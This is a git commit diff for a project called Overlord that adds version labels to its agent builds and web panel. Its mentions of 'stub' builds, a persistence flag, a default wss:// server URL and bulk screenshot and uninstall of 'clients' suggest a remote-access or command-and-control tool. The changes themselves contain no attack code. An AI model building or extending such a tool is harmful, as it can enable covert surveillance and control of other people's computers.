1.3.3 + add easy way to tell the version

This commit is contained in:
KingKDot
2026-03-12 12:05:42 -05:00
parent ec72148160
commit 42cc7e29c7
10 changed files with 75 additions and 7 deletions
+1 -1
View File
@@ -17,7 +17,7 @@ import (
"time"
)
var AgentVersion = "1.3.2"
var AgentVersion = "1.3.3"
var DefaultPersistence = "false"
var DefaultServerURL = "wss://127.0.0.1:5173"
+1 -1
View File
@@ -1,6 +1,6 @@
{
"name": "overlord-server",
"version": "1.3.2",
"version": "1.3.3",
"private": true,
"type": "module",
"scripts": {
+16 -1
View File
@@ -540,6 +540,13 @@ function formatFileSize(bytes) {
return Math.round((bytes / Math.pow(k, i)) * 100) / 100 + " " + sizes[i];
}
function formatStubVersion(version) {
if (typeof version === "string" && version.trim()) {
return version.trim();
}
return "unknown (legacy build)";
}
function saveBuildToStorage(buildId, buildData) {
try {
const builds = JSON.parse(localStorage.getItem("overlord_builds") || "[]");
@@ -736,7 +743,15 @@ function showBuildFilesForContainer(build, containerId, timerId) {
fileName.textContent = file.filename;
const filePlatform = document.createElement("div");
filePlatform.className = "text-sm text-gray-400";
filePlatform.textContent = file.platform;
const versionValue = formatStubVersion(file.version);
const platformText = document.createElement("span");
platformText.textContent = `${file.platform} | `;
const versionText = document.createElement("span");
versionText.className = "server-version-number";
versionText.textContent =
versionValue === "unknown (legacy build)" ? versionValue : `v${versionValue}`;
filePlatform.appendChild(platformText);
filePlatform.appendChild(versionText);
fileText.appendChild(fileName);
fileText.appendChild(filePlatform);
fileMeta.appendChild(fileIcon);
+8
View File
@@ -1580,6 +1580,14 @@ mark.search-current {
box-shadow: 0 8px 20px rgba(30, 64, 175, 0.25);
}
.server-version-number {
color: #4ade80;
text-shadow:
0 0 8px rgba(74, 222, 128, 0.65),
0 0 16px rgba(34, 197, 94, 0.4);
font-weight: 600;
}
#filter-status,
#filter-os,
#sort {
+30
View File
@@ -36,12 +36,41 @@ const bulkScreenshotBtn = document.getElementById("bulk-screenshot");
const bulkDisconnectBtn = document.getElementById("bulk-disconnect");
const bulkUninstallBtn = document.getElementById("bulk-uninstall");
const bulkClearBtn = document.getElementById("bulk-clear");
const serverVersionText = document.getElementById("server-version-text");
const selectedClients = new Set();
let lastNonOnlineStatus = "all";
let currentUser = null;
let contextCard = null;
let availableOsList = new Set();
function setServerVersionLabel(version) {
if (!serverVersionText) return;
serverVersionText.textContent = "Server version: ";
const value = document.createElement("span");
value.className = "server-version-number";
value.textContent = version;
serverVersionText.appendChild(value);
}
async function loadServerVersion() {
if (!serverVersionText) return;
try {
const res = await fetch("/api/version", { credentials: "include" });
if (!res.ok) {
serverVersionText.textContent = "Server version: unavailable";
return;
}
const payload = await res.json();
const version = typeof payload?.version === "string" && payload.version.trim()
? payload.version.trim()
: "unknown";
setServerVersionLabel(version);
} catch {
serverVersionText.textContent = "Server version: unavailable";
}
}
const setContext = (id) => {
contextCard = id;
};
@@ -108,6 +137,7 @@ function applyMenuSupportRules(clientId) {
}
async function loadCurrentUser() {
loadServerVersion();
try {
const res = await fetch("/api/auth/me");
if (res.ok) {
-3
View File
@@ -222,9 +222,6 @@
placeholder="wss://your-server:5173"
class="w-full px-3 py-2 bg-slate-800/60 border border-slate-700 rounded-lg focus:outline-none focus:border-blue-500 transition-colors"
/>
<p class="text-xs text-slate-500 mt-1">
Optional: Override the default server URL in the build
</p>
<label class="mt-2 flex items-center gap-2 text-xs text-slate-400">
<input type="checkbox" id="raw-server-list" name="raw-server-list" class="w-4 h-4" />
Use raw HTTPS server list (fetches multiple wss:// endpoints)
+3
View File
@@ -39,6 +39,9 @@
<div>
<h1 class="text-2xl font-semibold">Clients</h1>
<p class="text-slate-400">KDOT wants YOU to have a good day!</p>
<p id="server-version-text" class="text-xs text-slate-500 mt-1">
Server version: loading...
</p>
</div>
<span
class="inline-flex items-center gap-2 px-3 py-2 rounded-full bg-blue-900/40 text-blue-100 border border-blue-700/60"
+1
View File
@@ -563,6 +563,7 @@ export interface BuildRecord {
name: string;
filename: string;
platform: string;
version?: string;
size: number;
}>;
}
@@ -70,6 +70,17 @@ type BuildProcessDeps = {
sanitizeOutputName: (name: string) => string;
};
function detectAgentVersion(clientDir: string): string {
try {
const configPath = path.join(clientDir, "cmd", "agent", "config", "config.go");
const content = fs.readFileSync(configPath, "utf8");
const match = content.match(/var\s+AgentVersion\s*=\s*"([^"]+)"/);
return match?.[1]?.trim() || "unknown";
} catch {
return "unknown";
}
}
export async function startBuildProcess(
buildId: string,
config: BuildProcessConfig,
@@ -150,6 +161,7 @@ export async function startBuildProcess(
`Overlord-Client source not found (missing go.mod). Checked: ${path.join(rootDir, "dist", "Overlord-Client")}, ${path.join(rootDir, "Overlord-Client")}`,
);
}
const agentVersion = detectAgentVersion(clientDir);
const outDir = path.join(rootDir, "dist-clients");
const cacheRoot = resolveClientBuildCacheRoot();
const goBuildCacheDir = path.join(cacheRoot, "go-build");
@@ -160,6 +172,7 @@ export async function startBuildProcess(
fs.mkdirSync(goModCacheDir, { recursive: true });
sendToStream({ type: "output", text: `Build directory: ${outDir}\n`, level: "info" });
sendToStream({ type: "output", text: `Client source: ${clientDir}\n`, level: "info" });
sendToStream({ type: "output", text: `Stub version: ${agentVersion}\n`, level: "info" });
sendToStream({ type: "output", text: `Client build cache: ${cacheRoot}\n`, level: "info" });
const platformsToBuild = (config.platforms || []).filter((p) => ALLOWED_PLATFORMS.has(p));
@@ -371,6 +384,7 @@ export async function startBuildProcess(
name: outputName,
filename: outputName,
platform,
version: agentVersion,
size,
});
} catch (err: any) {
+1 -1
View File
@@ -1 +1 @@
export const SERVER_VERSION = "1.3.2";
export const SERVER_VERSION = "1.3.3";